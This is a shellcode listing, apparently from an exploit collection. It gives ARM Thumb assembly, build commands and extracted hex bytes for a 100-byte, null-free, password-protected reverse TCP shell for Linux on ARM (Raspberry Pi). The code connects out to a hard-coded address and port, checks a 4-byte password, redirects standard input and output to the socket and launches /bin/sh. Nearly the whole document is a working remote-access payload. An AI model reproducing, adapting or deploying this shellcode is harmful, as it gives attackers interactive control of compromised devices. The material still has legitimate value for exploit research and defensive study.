100 bytes small Linux/ARM password protected reverse TCP shell shellcode.
8354c706305152c8ac2968de64f559b7/*
* Title: Linux/ARM - Password-Protected Reverse TCP Shell
* Date: 2019-04-20
* Tested: armv6 (32-bit Raspberry Pi I)
* Author: Alan Vivona - @syscall59 - medium.syscall59.com
* Size: 100 bytes
* No null bytes / Null-free
*/
.section .text
.global _start
_start:
.arm
add r3, pc, #1 // switch to thumb mode
bx r3
.thumb
// [281] socket(2, 1, 0)
mov r0, #2
mov r1, #1
eor r2, r2
mov r7, #200
add r7, #81
svc #1
mov r10, r0 // save sockfd into r10
// [283] connect(socketfd, target, addrlen)
// socket fd is in r0 already
adr r1, target
strb r2, [r1, #1] // replace the 0xff value of the protocol field with a 0x00
strb r2, [r1, #5] // replace the 1st '255' values of the IP field with a 0
strb r2, [r1, #6] // replace the 2nd '255' values of the IP field with a 0
mov r2, #16
add r7, #2 // 281 + 2 = 283
svc #1
// [003] read(sourcefd, destbuffer, amount)
push {r1}
mov r1, sp
mov r2, #4
mov r7, #3
read_pass:
mov r0, r10
svc #1
check_pass:
ldr r3, pass
ldr r4, [r1]
eor r3, r3, r4
bne read_pass
// [063] dup2(sockfd, stdIO)
mov r1, #2 // r1 = 2 (stderr)
mov r7, #63 // r7 = 63 (dup2)
loop_stdio:
mov r0, r10 // r0 = saved sockfd
svc #1
sub r1,#1
bpl loop_stdio // loop while r3 >= 0
// [011] execve(command, 0, 0)
adr r0, command
eor r2, r2
eor r1, r1
strb r2, [r0, #7]
mov r7, #11
svc #1
// 2 bytes aligment fix if needed needed (can't use a nop as it has a null byte)
// align_bytes : .byte 0xff, 0xff
target:
// The 0xff will be replaced with a null on runtime
.ascii "\x02\xff" // Protocol: IPv4/TCP.
.ascii "\x11\x5c" // Port : 4444
// The '255' will be replaced with a 0 on runtime
.byte 127,255,255,1 // IP: 127.0.0.1.
command: .ascii "/bin/sh?" // The '?' will be replaced with a null on runtime
pass: .ascii "S59!"
/*
Compile, link & extract:
as ARM-reverse-shell.s -o ARM-reverse-shell.o
ld -N ARM-reverse-shell.o -o ARM-reverse-shell
objcopy -O binary ARM-reverse-shell ARM-reverse-shell.dump
hexdump -v -e '"\\""x" 1/1 "%02x" ""' ARM-reverse-shell.dump
\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\x20\x01\x21\x52\x40\xc8\x27\x51\x37\x01\xdf\x82\x46\x0e\xa1\x4a
\x70\x4a\x71\x8a\x71\x10\x22\x02\x37\x01\xdf\x02\xb4\x69\x46\x04\x22\x03\x27\x50\x46\x01\xdf\x0b\x4b
\x0c\x68\x63\x40\xf9\xd1\x02\x21\x3f\x27\x50\x46\x01\xdf\x01\x39\xfb\xd5\x04\xa0\x52\x40\x49\x40\xc2
\x71\x0b\x27\x01\xdf\x02\xff\x11\x5c\x7f\xff\xff\x01\x2f\x62\x69\x6e\x2f\x73\x68\x3f\x53\x35\x39\x21
*/